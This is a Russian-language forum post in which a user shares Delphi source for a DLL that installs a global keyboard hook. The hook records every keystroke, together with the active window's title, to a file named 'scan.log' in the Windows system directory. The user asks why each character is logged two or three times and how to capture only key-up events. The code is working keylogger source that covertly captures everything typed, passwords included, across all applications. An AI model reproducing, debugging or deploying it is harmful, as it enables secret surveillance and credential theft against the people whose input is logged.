хук клавы

[legendary]

код длл:

library lib;

uses
  windows,
  SysUtils,
  messages;

var
  H,HW,HW1: THandle;
  f: text;
  c: char;
  buf,buf1: array[0..255] of char;
  sysdir,wndtext: string;

procedure writ(wndtext: string;c: char);
begin
GetSystemDirectory(buf,256);
sysdir:= buf;
assign(f,sysdir+'\scan.log');
if not FileExists(sysdir+'\scan.log') then rewrite(f) else append(f);
write(f,wndtext,c);
close(f);
end;


function hook(code, wParam, lParam : integer): Lresult; stdcall;
begin
if Code >= 0 then
begin
HW:=GetForegroundWindow;
GetWindowText(hw, buf1, 255);
if HW=HW1 then wndtext:='' else
begin
wndtext:=buf1;
wndtext:=' '+wndtext+' ';
HW1:=GetForegroundWindow;
end;
c:= chr(wParam);
{p:= wParam;}
writ(wndtext,c);
end;
result := CallNextHookEx(H, code, wParam, lParam);
End;


procedure sethook;
begin
  H:=SetWindowsHookEx(WH_KEYBOARD, @hook, hInstance, 0);
end;

procedure removehook;
begin
  UnhookWindowsHookEx(H);
end;

exports
sethook index 1  name 'sethook',
removehook index 2 name 'removehook';
end.

почему у файл записывает вместо одново символа два, ето что сработивает KeyUp и KeyDown одновременно? но если набрать qwe в word то у файл пишет по три символи вместо одного qqqwwweee. как исправить????????????

[legendary]

Скажите как отлавливать только сообщение WM_KeyUP? для mouse hook оно содержится у wParam, а где для клавы?